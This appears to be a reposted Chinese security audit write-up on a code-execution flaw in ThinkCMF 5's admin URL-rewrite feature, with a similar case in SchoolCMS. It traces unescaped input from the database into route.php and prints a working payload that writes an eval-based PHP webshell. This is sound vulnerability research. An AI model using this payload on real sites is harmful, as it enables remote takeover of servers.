thinkcmfx漏洞太大_ThinkCMF5 代码执行漏洞及后续有关思考
摘要
修改配置時(shí),大多數(shù)情況下都會(huì)對配置文件/緩存文件/數(shù)據(jù)庫進(jìn)行操作,而在這個(gè)過程中不論如何實(shí)現(xiàn),幾乎都會(huì)對“管理員” 所做的修改輸入有過濾。當(dāng)繞過了這些過濾方法之后,通常可以達(dá)到同一個(gè)目的:代碼執(zhí)行。
Remark:文章簡單易懂,新手向;
在過去的一段時(shí)間里面,我和好基友論過有關(guān)CMS“修改” 會(huì)存在的代碼執(zhí)行的問題;我們在這個(gè)方面對于少量CMS進(jìn)行了分析,分析過程暫且不表,直接說結(jié)論:修改配置時(shí),大多數(shù)情況下都會(huì)對配置文件/緩存文件/數(shù)據(jù)庫進(jìn)行操作,而在這個(gè)過程中不論如何實(shí)現(xiàn),幾乎都會(huì)對“管理員” 所做的修改輸入有過濾。當(dāng)繞過了這些過濾方法之后,通常可以達(dá)到同一個(gè)目的:代碼執(zhí)行;
ThinkCMF版本為:thinkcmf-5.0.190111
以下是分析過程,使用的方法是監(jiān)控文件動(dòng)態(tài)并分析Controller分析;
后臺(tái)中有這樣一個(gè)功能:
圖0x0 thinkCMF后臺(tái)-URL美化功能
這是一個(gè)URL美化的功能,在看到這個(gè)地方的時(shí)候我感覺這個(gè)功能所進(jìn)行的”修改“可能會(huì)出問題;首先我以正常的管理員操作進(jìn)行嘗試:
圖0x1 URL美化功能-添加URL規(guī)則
這里我選擇是一個(gè)默認(rèn)的有關(guān)Index的規(guī)則,我進(jìn)行保存:
圖0x2 保存時(shí)的第一個(gè)POST請求
圖0x3 保存時(shí)的第二個(gè)POST請求
在這里看整體變化:
0x0:通過數(shù)據(jù)庫general_log收集到執(zhí)行了: INSERT INTO `cmf_route` (`full_url` , `url` , `status`) VALUES (‘portal/List/index’ , ‘list/:id’ , ‘1’) 這樣的一條語句;
0x1:通過對文件進(jìn)行監(jiān)控發(fā)現(xiàn)修改了/data/conf/route.php 文件;
圖0x4 修改之后的/data/conf/route.php文件
這時(shí)候我只有一個(gè)想法:應(yīng)該有戲;
進(jìn)入到代碼層進(jìn)行分析:
處理這個(gè)請求的Controller位于:\app\admin\controller\RouteController.php
圖0x5 addPost()
這個(gè)方法在上面的注釋寫的很詳細(xì):添加路由規(guī)則提交;
作為我們實(shí)驗(yàn)室的十萬個(gè)為什么,我理所因當(dāng)?shù)膯栕约?#xff1a;提交到了哪?
那么加入調(diào)試信息:
圖 0x6 加入調(diào)試信息,打印可控變量
這里很明顯是save()對于數(shù)據(jù)庫進(jìn)行了操作,那么單獨(dú)發(fā)包+數(shù)據(jù)庫general_log監(jiān)控:
圖 0x7 單獨(dú)發(fā)包
監(jiān)控general_log得到結(jié)果:INSERT INTO `cmf_route` (`full_url` , `url` , `status`) VALUES (‘portal/List/index’ , ‘list/:id’ , ‘1’)
和之前在整體分析的一致,那么我這里作為一個(gè)備用點(diǎn):可能在這里有一個(gè)可用的SQL注入;
圖0x8 index()
梳理思路:第一個(gè)Request將我們設(shè)置的配置信息寫進(jìn)了數(shù)據(jù)庫,這里我們找到了一個(gè)可能可以導(dǎo)致SQL的點(diǎn),但是不急于研究局部,繼續(xù)看整體;
那么我們繼續(xù)下去:
這個(gè)方法應(yīng)該是請求頁面/回顯頁面的index方法,getRoutes()方法根據(jù)我的猜測是獲得這些規(guī)則的方法,跟進(jìn):
圖0x9 跟進(jìn)getRoutes(),發(fā)現(xiàn)了這里寫入的文件正是我們剛才關(guān)注的route.php文件
對route.php進(jìn)行了文件寫入,這里使用拼接,而我們可能控制的變量為:$allRoutes,經(jīng)過了兩個(gè)函數(shù)處理,只是簡單的刪除了反斜杠,并未對單引號進(jìn)行處理,造成了逃逸單引號寫入內(nèi)容;
那么最后需要分析的是傳入的變量$allRoutes,我們先加調(diào)試:
圖0xA 加入調(diào)試信息,逆向追蹤參數(shù)傳入
隨便找到之前的一個(gè)Request,再次請求并定位:
圖0xB 再次訪問Index,然后找到其打印的調(diào)試信息,觀察傳入?yún)?shù)
在這里可以觀察到和我們之前寫進(jìn)數(shù)據(jù)庫的值是一樣的,我猜測$allRoutes很有可能就是從數(shù)據(jù)庫里面直接讀出來的;
那么形成利用思路:
0x0:首先我們可以控制數(shù)據(jù)庫的寫入
0x1:間接的控制了$allRoutes變量
0x2:逃逸單引號,我們可以往route.php中寫入代碼并再寫入之后再次觸發(fā)執(zhí)行
實(shí)際利用之前清空一下之前的環(huán)境,將所有規(guī)則先刪除,回頭觀察route.php(圖0x4):
圖0xC 沒有規(guī)則時(shí)候的route.php
對比圖0x4與圖0xC,構(gòu)造payload:’.file_put_contents(‘f1ower.php’,'<?php @eval($_POST[f]); ?>’).’
在添加URL的時(shí)候?qū)︼@示網(wǎng)址欄插入Paylaod:
圖0xD 在添加URL規(guī)則-顯示網(wǎng)址中插入Payload
然后保存,這時(shí)候應(yīng)該寫進(jìn)了數(shù)據(jù)庫,然后寫進(jìn)了route.php;
圖0xE 返回頁面中,之前我們加入的打印信息更加印證了我們的利用思路
然后我查看route.php:
圖0xF 修改之后的route.php
直接重新點(diǎn)擊訪問URL美化功能,或者直接發(fā)一個(gè)Request進(jìn)行觸發(fā):
圖0x10 觸發(fā)route.php,執(zhí)行代碼
圖0x11 寫出文件成功
利用思路總結(jié)一下:
寫文件->執(zhí)行文件->寫出文件
同樣是寫文件的例子,在之前審計(jì)的一個(gè)CMS中甚至用簡單的黑盒也找到過一個(gè)更簡單的代碼執(zhí)行:
名稱/版本:SchoolCMS_2.3.1_UTF8
圖0x12 SchoolCMS后臺(tái)-后臺(tái)配置功能
這里的分頁數(shù)量當(dāng)時(shí)進(jìn)行了一個(gè)簡單嘗試,發(fā)現(xiàn)修改的內(nèi)容會(huì)寫進(jìn)緩存文件中:
圖0x13 緩存文件Application/Runtime/Temp/38432eb7369925b9a826f2b9f64e2262.php
圖 0x14 在admin_page_number的值中加入Payload
圖0x15 修改后的緩存文件
在這個(gè)CMS中同樣造成了代碼執(zhí)行漏洞;
在實(shí)際的環(huán)境中,配置功能是必不可少的,幾乎所有的CMS都會(huì)具有這個(gè)功能點(diǎn);開發(fā)人員使用不同的方法實(shí)現(xiàn),但是在代碼審計(jì)中,我們可以通過文件監(jiān)控與數(shù)據(jù)庫監(jiān)控等輔助手段進(jìn)行此方面的漏洞嘗試;
Tips:
0x0:把握整體大局變化
0x1:文件變化與數(shù)據(jù)庫變化的把握
0x2:然后針對性代碼分析
相信對于大家在文件監(jiān)控或多或少有一些幫助;
以上;
總結(jié)
以上是生活随笔為你收集整理的thinkcmfx漏洞太大_ThinkCMF5 代码执行漏洞及后续有关思考的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 多选题spss相关分析_SPSS进行典型
- 下一篇: 南航里程每年清空吗_航空里程被盗用,多位